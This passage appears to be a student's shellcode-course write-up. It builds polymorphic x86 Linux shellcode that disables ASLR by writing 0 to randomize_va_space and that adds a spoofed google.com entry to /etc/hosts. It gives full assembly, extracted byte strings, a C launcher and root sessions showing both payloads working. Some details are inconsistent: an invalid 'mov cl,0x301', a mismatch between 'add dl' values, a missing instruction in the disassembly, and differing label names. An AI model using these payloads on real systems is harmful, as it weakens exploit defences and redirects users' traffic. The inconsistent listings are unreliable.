"61722f6c".decode("hex") + \
"656e7265".decode("hex") + \
"6b2f7379".decode("hex") + \
"732f636f".decode("hex") + \
"72702f2f".decode("hex")

After running the script above, the path //proc/sys/kernel/randomize_va_space will be inserted into the stack in reverse order as seen below

root@slae:/home/xenofon/Documents/Assignment6# python hex.py
modns_av_ezimodnar/lenrek/sys/corp//

Also, be noted that there is an extra slash at the beginning of the path. The extra slash is needed to align the value to a multiple of 4 bytes in order to transform the string into the exact hexadecimal size and then push it into the stack.  Also, the number of slashes in a Linux command line do not matter.

Afterwards, further analysis will take place at the following instructions regarding the second argument of the creat() system call, but before moving further, the mov ebx, esp instruction will be used to perform stack alignment at the top of the stack. To continue further, the second argument will be used to pass the mode of the file which is 0x2bc in hex, and 700 in decimal, meaning that the owner will have permissions to read, write and execute that file. Then, mov al, 0x8 instruction will be used to assign the immediate value 0x8 to the lower byte register al. The value 0x8 indicates the creat() system call as shown at the image below.

Capture

Then, the int 0x80 instruction will be used to call the creat() system call. So basically, the creat() function will be constructed as follows

int fd = creat("//proc/sys/kernel/randomize_va_space", 0x2bc);

To summarise, the following analysed instructions are representing the implementation of the creat() system call.

xor eax,eax
push eax
push dword 0x65636170
push dword 0x735f6176
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
push dword 0x72702f2f
mov ebx,esp
mov cx,0x2bc
mov al,0x8
int 0x80

Now, the above instructions will be changed, but the functionality will remain intact, performing only polymorphic changes to the code. So, the instructions will be changed into the following as seen in green

; Altered instructions 
xor ebx,ebx
mul ebx
mov DWORD [esp-0x4],eax
mov DWORD [esp-0x8],0x65636170
mov DWORD [esp-0xc],0x735f6176
mov DWORD [esp-0x10],0x5f657a69
mov DWORD [esp-0x14],0x6d6f646e
mov DWORD [esp-0x18],0x61722f6c
mov DWORD [esp-0x1c],0x656e7265
mov DWORD [esp-0x20],0x6b2f7379
mov DWORD [esp-0x24],0x732f636f
mov DWORD [esp-0x28],0x72702f2f
sub esp,0x28
mov ebx,esp

mov cl,0x4e
add cl,0x16
mov dx,0x2bc

push 0x5
pop eax
int 0x80

The instructions above providing a way of changing the original instructions in order to achieve polymorphism. As seen above, the two instructions xor ebx, ebx and mul ebx used instead of xor eax, eax in order to zero out the eax register. The mul instruction used to perform multiplication where ebx register is acting as the multiplier and the eax register as the multiplicand. So, in the case where the multiplier which is the ebx register is already assigned with zero, the multiplication with eax register will also assign the eax and edx registers with zero, and that because the final product of the multiplication is stored in edx:eax registers. Following further, the sequence of the mov instructions will substitute the sequence of push instructions seen at the original shellcode,  as shown below

;Altered Instructions
mov DWORD [esp-0x4],eax

mov DWORD [esp-0x8],0x65636170
mov DWORD [esp-0xc],0x735f6176
mov DWORD [esp-0x10],0x5f657a69
mov DWORD [esp-0x14],0x6d6f646e
mov DWORD [esp-0x18],0x61722f6c
mov DWORD [esp-0x1c],0x656e7265
mov DWORD [esp-0x20],0x6b2f7379
mov DWORD [esp-0x24],0x732f636f
mov DWORD [esp-0x28],0x72702f2f
sub esp,0x28 // make room for the values in stack
mov ebx,esp

The mov instructions above are doing the same thing as the push instructions seen before at the original shellcode, because the two instructions are decrementing the stack pointer by the operand size, then move the operand to the location pointed by the stack pointer. Furthermore, the sub esp, 0x28 instruction used to make room for ten local variables in stack and the mov ebx, esp instruction used to set the pointer at the top of the stack.

Furthermore, the second argument of the creat() system call used to set the mode of the file. There, the writer of the original shellcode assigned the hex value 0x2bc which is 700 in decimal at the dx register, meaning that the owner of the file can read, write and execute the file. Towards to that, changes at the assembly code will be done in order to achieve polymorphism.

According with the man page of creat(3) system call the following open(3) system call

open(path, O_WRONLY|O_CREAT|O_TRUNC, mode)

is equivalent to the following creat() function call

<
creat(path, mode)

Following, in order to create polymorphism, the instructions implementing the open() system call will be changed using the additional instructions for the second and third argument of the open() system call. To proceed further, the hex values of O_CREAT | O_WRONLY | O_TRUNC flags must be known in order to use them as the second argument at open() system call. To this end, checking inside the /usr/src/linux-headers-3.13.0-32/arch/mips/include/uapi/asm/fcntl.h file the hex values of the flags above are seen below

#define O_CREAT  0x0100
#define O_TRUNC 0x0200

The O_WRONLY flag defined at /usr/src/linux-headers-3.13.0-32/include/uapi/asm-generic/fcntl.h having the binary value 00000001. Also, the same flag can be found at /usr/include/i386-linux-gnu/bits/fcntl-linux.h with binary value 01. Both values are representing the same hexadecimal result 0x1. So, in order to perform the bitwise OR operation shown below some zeros will be added from right to left, changing the value format into the equivalent 0x0001. The bitwise OR is applying a logical OR to the specified values. The flags are defined as a bitmask or individual bits, and by using the OR operation specific bits can be set in the target.

0000 0000 0000 0001 O_WRONLY  ~ 0 0 0 1
0000 0001 0000 0000 O_CREAT ~ 0 1 0 0
0000 0010 0000 0000 O_TRUNC ~ 0 2 0 0
--------------------------- 0000 0011 0000 0001 = 0x0301

So, the compiler passes 0x0301 to the open() system call. As a result, the following instruction is provided 

mov cl,0x301

which indicates the second argument of the open() system call. Also the mov dx, 0x2bc will be changed by adding 0x2a1 into 0x1b as follows

;Original Instructions
mov dx, 0x2bc

;Altered instructions
mov dx,0x2a1
add dx,0x1b

Continuously, the following instructions will be changed

mov al,0x8
int 0x80

with the instructions below

; Altered instructions   
push 0x5
pop eax
int 0x80

The above instructions will push the immediate value 0x5 into the stack, indicating the open() system call. Then the pop eax instruction will store the immediate 0x5 into the eax register and then the int 0x80 instruction will call the function. Next, polymorphism will be created for the instructions below implementing the write() system call. From the original assembly code the following instructions can be seen

mov ebx,eax
push eax
mov dx,0x3a30
push dx
mov ecx,esp
xor edx,edx
inc edx
mov al,0x4
int 0x80

The above instructions altered with the following instructions in order to achieve polymorphism

mov ebx,eax
;Altered Instructions
push ebx
mov cx,0x3b30
push cx
mov ecx,esp
;Altered Instructions
shr edx, 16
inc edx
mov al, 0x4

the above instructions are representing the following system call

sys_write(fd,"0;",1);

The mov ebx, eax instruction assigns the value of file descriptor existing in eax register into the ebx register. Also, checking at the [Linux Syscall Reference](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit), the ebx register consists the first argument of the write() system call. Afterwards, the instruction push ebx pushes the file descriptor into the stack. The second argument of the write()system call referenced by the ecx register consists the buffer that contains the value to write inside the file. Also, the third argument referenced by the edx register consists the size of the buffer where in this case is one(1) byte. The instruction mov cx, 0x3b30 represents the second argument meaning that the value 0; will be inserted into the cx register containing the size of the buffer. Furthermore, the 0x3a30 hex original value altered into 0x3b30 changing " :" to " ;" which does not negatively affect the execution of the program as it is not interpreted in the execution. Also, the 16bit cx  register has been chosen instead of ecx in order to avoid producing any null bytes. As seen at the instructions above, the buffer that contains the 0 value indicating the non randomisation action of the system memory. Additionally, the ';' value is irrelevant because the size of the buffer is only one(1) byte long, thus the 0 value will only be taken as valid. After moving the chars "0;" inside the second argument of the write() function, the instruction mov ecx, esp will be provided in order to align the stack pointer at the beginning of the stack. As mentioned before, the final argument contains the value of the size of the buffer which must be 1 , so the altered instructions to achieve this change, first must zero out the lower 16bits from edx register. To achieve this, the instruction shr edx,16 will be used which shifts the edx lower 16bits by sixteen positions to the right, thus zeroing out the edx register. Then, the edx register will be increased by one in order to provide the size of the buffer to the write() system call. Following, a common way to call the write()  system call is by using mov al, 0x4 instruction which assigns the 0x4 immediate value to the al lower byte register. Then the instruction int 0x80 is called to execute the write()  system call. </p>

According with the write(2) man page, in order to successfully return from the write() system call, it is certainly a good programming practice to use the fsync() and close() functions. Another good programming practice is to use the waitpid(2) system call in order to force the system to wait for the child process to finish and then release the resources associated with the child before exiting the execution. In this case the shellcode writer uses the close()  system call followed by the waitpid() system call . According with the close(2) man page, the close() system call closes a file descriptor, so that it no longer refers to any file and may be reused. Furthermore, because the close() system call does not provide any guarantee that the data has been successfully saved to disk, the sync(2) system call could be used along with close(). In case of using exit(3) system call all open streams are flushed and closed. Also the parent process might be notified of the exit status and the child dies immediately. According with the above, fsync(), close(), and waitpid() are providing guarantee that all open files will be closed as well as all the processes wil be terminated after done their work. As mentioned above, the functionality offered by the exit() system call shouold be enough, so it could be avoided in order to produce a shorter shellcode.

mov al,0x6
int 0x80
inc eax
int 0x80

Then the waitpid() and close() functions will be changed with the exit() system call as shown below

; Altered instructions  
mov al,0x1
int 0x80
The final polymorphic version of the original shellcode is shown below
global _start

section .text

_start:
 xor ebx,ebx
 mul ebx
 mov DWORD [esp-0x4],eax
 mov DWORD [esp-0x8],0x65636170
 mov DWORD [esp-0xc],0x735f6176
 mov DWORD [esp-0x10],0x5f657a69
 mov DWORD [esp-0x14],0x6d6f646e
 mov DWORD [esp-0x18],0x61722f6c
 mov DWORD [esp-0x1c],0x656e7265
 mov DWORD [esp-0x20],0x6b2f7379
 mov DWORD [esp-0x24],0x732f636f
 mov DWORD [esp-0x28],0x72702f2f
 sub esp,0x28
 mov ebx,esp
 mov cx,0x301
 mov dx,0x2a1
 add dx,0x1b
 mov al, 0x5
 int 0x80
 mov ebx,eax
 push ebx
 mov cx,0x3b30
 push cx
 mov ecx,esp
 shr edx, 16
 inc edx
 mov al,0x4
 int 0x80
 mov al,0x1
 int 0x80

Now that the writing of the polymorphic shellcode version finished, a test will run in order to check if it works. Following, checking about null bytes using objdump as shown below

root@slae:/home/xenofon/Documents/Assignment6# objdump -d polyaslr -M intel

polyaslr: file format elf32-i386

Disassembly of section .text:

 08048080 < _start >:
 8048080: 31 db xor ebx,ebx
 8048082: f7 e3 mul ebx
 8048084: 89 44 24 fc mov DWORD PTR [esp-0x4],eax
 8048088: c7 44 24 f8 70 61 63 mov DWORD PTR [esp-0x8],0x65636170
 804808f: 65 
 8048090: c7 44 24 f4 76 61 5f mov DWORD PTR [esp-0xc],0x735f6176
 8048097: 73 
 8048098: c7 44 24 f0 69 7a 65 mov DWORD PTR [esp-0x10],0x5f657a69
 804809f: 5f 
 80480a0: c7 44 24 ec 6e 64 6f mov DWORD PTR [esp-0x14],0x6d6f646e
 80480a7: 6d 
 80480a8: c7 44 24 e8 6c 2f 72 mov DWORD PTR [esp-0x18],0x61722f6c
 80480af: 61 
 80480b0: c7 44 24 e4 65 72 6e mov DWORD PTR [esp-0x1c],0x656e7265
 80480b7: 65 
 80480b8: c7 44 24 e0 79 73 2f mov DWORD PTR [esp-0x20],0x6b2f7379
 80480bf: 6b 
 80480c0: c7 44 24 dc 6f 63 2f mov DWORD PTR [esp-0x24],0x732f636f
 80480c7: 73 
 80480c8: c7 44 24 d8 2f 2f 70 mov DWORD PTR [esp-0x28],0x72702f2f
 80480cf: 72 
 80480d0: 83 ec 28 sub esp,0x28
 80480d3: 89 e3 mov ebx,esp
 80480d5: 66 b9 01 03 mov cx,0x301
 80480d9: 66 ba a1 02 mov dx,0x2a1
 80480dd: 66 83 c2 1b add dx,0x1b
 80480e1: b0 05 mov al,0x5
 80480e3: cd 80 int 0x80
 80480e5: 89 c3 mov ebx,eax
 80480e7: 53 push ebx
 80480e8: 66 b9 30 3b mov cx,0x3b30
 80480ec: 66 51 push cx
 80480ee: 89 e1 mov ecx,esp
 80480f0: c1 ea 10 shr edx,0x10
 80480f3: 42 inc edx
 80480f4: b0 04 mov al,0x4
 80480f6: cd 80 int 0x80
 80480f8: b0 01 mov al,0x1
 80480fa: cd 80 int 0x80

From the output above it seems that there are no null bytes around, so using objdump the production of the shellcode can be done as follows

root@slae:/home/xenofon/Documents/Assignment6# objdump -d ./polyaslr|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xdb\xf7\xe3\x89\x44\x24\xfc\xc7\x44\x24\xf8\x70\x61\x63\x65\xc7\x44\x24\xf4\x76\x61\x5f\x73\xc7\x44\x24\xf0\x69\x7a\x65\x5f\xc7\x44\x24\xec\x6e\x64\x6f\x6d\xc7\x44\x24\xe8\x6c\x2f\x72\x61\xc7\x44\x24\xe4\x65\x72\x6e\x65\xc7\x44\x24\xe0\x79\x73\x2f\x6b\xc7\x44\x24\xdc\x6f\x63\x2f\x73\xc7\x44\x24\xd8\x2f\x2f\x70\x72\x83\xec\x28\x89\xe3\x66\xb9\x01\x03\x66\xba\xa1\x02\x66\x83\xc2\x1b\xb0\x05\xcd\x80\x89\xc3\x53\x66\xb9\x30\x3b\x66\x51\x89\xe1\xc1\xea\x10\x42\xb0\x04\xcd\x80\xb0\x01\xcd\x80"

Afterwards the produced shellcode will be added into a C program named sh.c in order to deliver the execution of the polimorphic shellcode.

#include <stdio.h>
#include <string.h> 

unsigned char code[] = \
 "\x31\xdb\xf7\xe3\x89\x44\x24\xfc\xc7"
 "\x44\x24\xf8\x70\x61\x63\x65\xc7\x44"
 "\x24\xf4\x76\x61\x5f\x73\xc7\x44\x24"
 "\xf0\x69\x7a\x65\x5f\xc7\x44\x24\xec"
 "\x6e\x64\x6f\x6d\xc7\x44\x24\xe8\x6c"
 "\x2f\x72\x61\xc7\x44\x24\xe4\x65\x72"
 "\x6e\x65\xc7\x44\x24\xe0\x79\x73\x2f"
 "\x6b\xc7\x44\x24\xdc\x6f\x63\x2f\x73"
 "\xc7\x44\x24\xd8\x2f\x2f\x70\x72\x83"
 "\xec\x28\x89\xe3\x66\xb9\x01\x03\x66"
 "\xba\xa1\x02\x66\x83\xc2\x1b\xb0\x05"
 "\xcd\x80\x89\xc3\x53\x66\xb9\x30\x3b"
 "\x66\x51\x89\xe1\xc1\xea\x10\x42\xb0"
 "\x04\xcd\x80\xb0\x01\xcd\x80";

main()
{
printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();
}

Compiling and running the above program will change the value inside the /proc/sys/kernel/randomize_va_space from two(2) to zero(0).

root@slae:/home/xenofon/Documents/Assignment6# cat /proc/sys/kernel/randomize_va_space
2
root@slae:/home/xenofon/Documents/Assignment6#  gcc -fno-stack-protector -z execstack -o sh sh.c && ./sh
Shellcode Length: 124
root@slae:/home/xenofon/Documents/Assignment6# cat /proc/sys/kernel/randomize_va_space
0
As previously seen in this article, the length of the new shellcode will be checked in order to be align with the rules of the exercise where the polymorphic version is not allowed to exceed the 150% of the original shellcode. The calculation below shows that the exercise rule is followed.
original shelcode length : 83
polymorphic version length : 124 
83 * 1.5 = 124.5

Add map in /etc/hosts file

The third shellcode to analyse adds a new entry in hosts file pointing google.com to 127.1.1.1 and can be found at shell-storm.org Also, the original shellcode can be found at this link. In general, Linux systems contain a hosts file used to translate hostnames to IP addresses. The hosts file is a simple text file located in the etc folder on Linux and Mac OS ( /etc/hosts ). The following output shows the assembly code from the original shellcode.

global _start

section .text

_start:
xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
push 0x7374736f ;/etc///hosts
push 0x682f2f2f
push 0x6374652f
mov ebx, esp
mov cx, 0x401 ;permmisions
int 0x80 ;syscall to open file

xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map

_write:
 pop ecx
 push 20 ;length of the string, dont forget to modify if changes the map
 pop edx
 int 0x80 ;syscall to write in the file

push 0x6
pop eax
int 0x80 ;syscall to close the file

push 0x1
pop eax

int 0x80 ;syscall to exit

_load_data:
 call _write
 google db "127.1.1.1 google.com"

Furthermore, the instructions above can be changed in order to perform polymorphism while altering the coding format without changing the functionality of the program. First, the instructions that represent the open() system call will be changed as follows

;Original instructions 

xor ecx, ecx
mul ecx
mov al, 0x5
push ecx
push 0x7374736f ;/etc///hosts
push 0x682f2f2f
push 0x6374652f
mov ebx, esp
mov cx, 0x401 ;permmisions
int 0x80 ;syscall to open file

xchg eax, ebx
push 0x4
pop eax
jmp short _load_data ;jmp-call-pop technique to load the map

;Altered instructions 

xor ecx, ecx
cdq
xor eax, eax 
mov al, 0x5
mov DWORD [esp-0x4],ecx
mov DWORD [esp-0x8],0x7374736f
mov DWORD [esp-0xc],0x682f2f2f
mov DWORD [esp-0x10],0x6374652f
sub esp,0x10
mov ebx,esp
mov cx, 0x3b1 ;permmisions
add cx, 0x50 
int 0x80 ;syscall to open file
mov ebx, eax
xor eax, eax
jmp short _ldata ;jmp-call-pop technique to load the map

The above instructions have been altered in order to achieve polymorphism. The technique jmp-pop-call will still remains the same with changes only in label names. Also, the mul ecx replaced with , cdq and xor eax, eax , zeroing out the eax and edx registers accordingly. Additionally, the push instruction has been altered using mov instruction and the file permissions value 0x401 in hex has been splitted into two values , 0x3b1 and 0x50 instead of one, adding them together using the add instruction at the 8bits register cx. The xchg instruction has been changed to mov instruction as the ebx will be assigned with the value 0x3 which represents the hosts file descriptor returned from the open() system call. The xchg used from shellcode writer to reduce the shellcode length as it needs two bytes, against the three bytes that mov needs. Also , the shellcode writer uses push and pop to load the 0x4 immediate value into eax register indicating the write() system call. The alteration here is that the push and pop replaced with mov and also the location of the instruction moved after the jmp short instruction and before the int 0x80 instruction. Furthermore, the label _load_data will be changed with _ldata at jmp short instruction. Also, as already mentioned the mov instruction above is doing the same thing as the push instruction, and that because the push instruction is decrementing the stack pointer by the operand size, then moves the operand to the location pointed by the stack pointer. Furthermore, the sub ebx, 0x10 instruction used to make room for four local variables in the stack to place the string /etc///hosts and the mov ebx, esp instruction used for stack alignment setting the pointer at the top of the stack. To continue further the write system call instructions will be altered as follows

;Original instructions

_write:
pop ecx
push 20 
pop edx
int 0x80

;Altered instructions

write_data: 
pop ecx
mov dl, 0x12
add dl, 0x3
mov al, 0x4
int 0x80

The main alteration here is the pop and push instructions which altered into mov. Also in order to avoid null bytes the edx register changed into the lower byte register dl. Additionally the _write label has been changed into write_data. Following, the 0x15 hex value which represents the length of the message along with the additional carriage return character has been splitted into two values 0x12 and 0x3 instead of one value, then adding them together using the add instruction. The next instructions to be altered are representing the close system call.

;Original instructions

push 0x6
pop eax
int 0x80 ;syscall to close the file

;Altered instructions

add al,0x2
int 0x80 ;syscall to close the file

The above instructions from the original shellcode, pop and push are changed with the add instruction. The add instruction adds the 0x2 immediate value with the 0x4 value previously assigned at the lower byte register al in order to execute the close system call with int 0x80 instruction. The next instructions to be altered are representing the exit system call.

;Original instructions

push 0x1
pop eax

int 0x80 ;syscall to exit

;Altered instructions

xor eax,eax
mov al,0x1
int 0x80 ;syscall to exit

The above instructions from the original shellcode, pop and push are changed with the xor and mov instructions. The xor instruction used to zero out the eax register and the mov instruction used to assign the immediate value at the lower byte al register in order to execute the exit system call with int 0x80 instruction. The final instructions exist inside the load_data label of the original shellcode and will be altered as follows :

;Original instructions

_load_data:
call _write
google db "127.1.1.1 google.com"

;Altered instructions

data:
call wdata
message db "127.1.1.1 google.com",0x0A

As said before and shown above, the label _load_data changed into _ldata and also the label _write changed into write_data at the call instruction. Furthermore, the google tag changed into message, and the carriage return character has been added at the end of the message. The following output shows the final polymorphic shellcode

; poly_map.nasm
;
; Adding a record in /etc/hosts
;
; Author: Xenofon Vassilakopoulos
;
; Student ID: SLAE - 1314

global _start

section .text

_start:
 xor ecx, ecx
 xor edx, edx
 xor eax, eax
 mov DWORD [esp-0x4],ecx
 mov DWORD [esp-0x8],0x7374736f
 mov DWORD [esp-0xc],0x682f2f2f
 mov DWORD [esp-0x10],0x6374652f
 sub esp,0x10
 mov ebx,esp
 mov cx, 0x3b1 ;permmisions
 add cx, 0x50
 mov al, 0x5
 int 0x80 ;syscall to open file
 mov ebx, eax
 xor eax, eax
 jmp short _ldata ;jmp-call-pop technique to load the map

write_data:
 pop ecx
 mov dl,0x12
 add dl,0x3
 mov al,0x4
 int 0x80 ;syscall to write in the file

 add al,0x2
 int 0x80 ;syscall to close the file

 xor eax,eax
 mov al,0x1
 int 0x80 ;syscall to exit

_ldata:
 call write_data
 message db "127.1.1.1 google.com",0x0A

Proceeding further, the polymorphic shellcode is ready for testing. First, the program will be compiled using the following shell script

root@slae:/home/xenofon/Documents/Assignment6# cat compile.sh
#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -f elf -o $1.o $1.nasm
echo '[+] Linking ...'
ld -z execstack -o $1 $1.o
echo '[+] Done!'
root@kali:~/Documents/SLAE/Assignment6# ./compile.sh omap
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!

Then the opcodes will be checked if null bytes exist using objdump

root@slae:/home/xenofon/Documents/Assignment6# objdump -d omap -M intel

omap: file format elf32-i386

Disassembly of section .text:

08049000 <_start>:
8049000: 31 c9 xor ecx,ecx
8049002: 31 c0 xor eax,eax
8049004: 89 4c 24 fc mov DWORD PTR [esp-0x4],ecx
8049008: c7 44 24 f8 6f 73 74 mov DWORD PTR [esp-0x8],0x7374736f
804900f: 73
8049010: c7 44 24 f4 2f 2f 2f mov DWORD PTR [esp-0xc],0x682f2f2f
8049017: 68
8049018: c7 44 24 f0 2f 65 74 mov DWORD PTR [esp-0x10],0x6374652f
804901f: 63
8049020: 83 ec 10 sub esp,0x10
8049023: 89 e3 mov ebx,esp
8049025: 66 b9 b1 03 mov cx,0x3b1
8049029: 66 83 c1 50 add cx,0x50
804902d: b0 05 mov al,0x5
804902f: cd 80 int 0x80
8049031: 89 c3 mov ebx,eax
8049033: 31 c0 xor eax,eax
8049035: eb 12 jmp 8049049 

08049037 :
8049037: 59 pop ecx
8049038: b2 12 mov dl,0x12
804903a: 80 c2 02 add dl,0x2
804903d: b0 04 mov al,0x4
804903f: cd 80 int 0x80
8049041: 04 02 add al,0x2
8049043: cd 80 int 0x80
8049045: b0 01 mov al,0x1
8049047: cd 80 int 0x80

08049049 :
8049049: e8 e9 ff ff ff call 8049037 

0804904e :
804904e: 31 32 xor DWORD PTR [edx],esi
8049050: 37 aaa
8049051: 2e 31 2e xor DWORD PTR cs:[esi],ebp
8049054: 31 2e xor DWORD PTR [esi],ebp
8049056: 31 20 xor DWORD PTR [eax],esp
8049058: 67 6f outs dx,DWORD PTR ds:[si]
804905a: 6f outs dx,DWORD PTR ds:[esi]
804905b: 67 6c ins BYTE PTR es:[di],dx
804905d: 65 2e 63 6f 6d gs arpl WORD PTR cs:[edi+0x6d],bp
8049062: 0a .byte 0xa
8049063: 0d .byte 0xd

As it's shown above, it is all good with the polymorphic shellcode so it's everything ready to proceed further and run it. Before doing that the shellcode must be produced using objdump as follows

root@slae:/home/xenofon/Documents/Assignment6# objdump -d ./omap|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc9\x31\xc0\x89\x4c\x24\xfc\xc7\x44\x24\xf8\x6f\x73\x74\x73\xc7\x44\x24\xf4\x2f\x2f\x2f\x68\xc7\x44\x24\xf0\x2f\x65\x74\x63\x83\xec\x10\x89\xe3\x66\xb9\xb1\x03\x66\x83\xc1\x50\xb0\x05\xcd\x80\x89\xc3\x31\xc0\xeb\x14\x59\xb2\x12\x80\xc2\x02\xb0\x04\xcd\x80\x04\x02\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x0a\x0d"

Following is the C program file where the polymorphic shellcode will be placed in order to be compiled and run

#include <stdio.h>
#include <string.h> 

unsigned char code[] = \
"\x31\xc9\x31\xc0\x89\x4c\x24\xfc\xc7\x44\x24\xf8\x6f\x73\x74\x73\xc7\x44\x24\xf4\x
2f\x2f\x2f\x68\xc7\x44\x24\xf0\x2f\x65\x74\x63\x83\xec\x10\x89\xe3\x66\xb9\xb1\x03\
x66\x83\xc1\x50\xb0\x05\xcd\x80\x89\xc3\x31\xc0\xeb\x14\x59\xb2\x12\x80\xc2\x02\xb0
\x04\xcd\x80\x04\x02\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x31\x32\x3
7\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x0a\x0d";

int main()
{
printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();
}

Next the executable will be compiled and run as seen below

root@slae:/home/xenofon/Documents/Assignment6# gcc -fno-stack-protector -g -z execstack -o sh sh.c && ./sh
Shellcode Length: 102

Now that the shellcode executed, the /etc/hosts file will be checked to see if the new record has been inserted successfully.

127.0.0.1 localhost
127.0.1.1 kali

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

127.1.1.1 google.com

As  seen previously in this article, the length of the new shellcode must be checked in order to align with the rules of the exercise where the polymorphic version is not allowed to exceed the 150% of the original shellcode.

original shelcode length : 77
polymorphic version length : 102 
77 * 1.5 = 115.5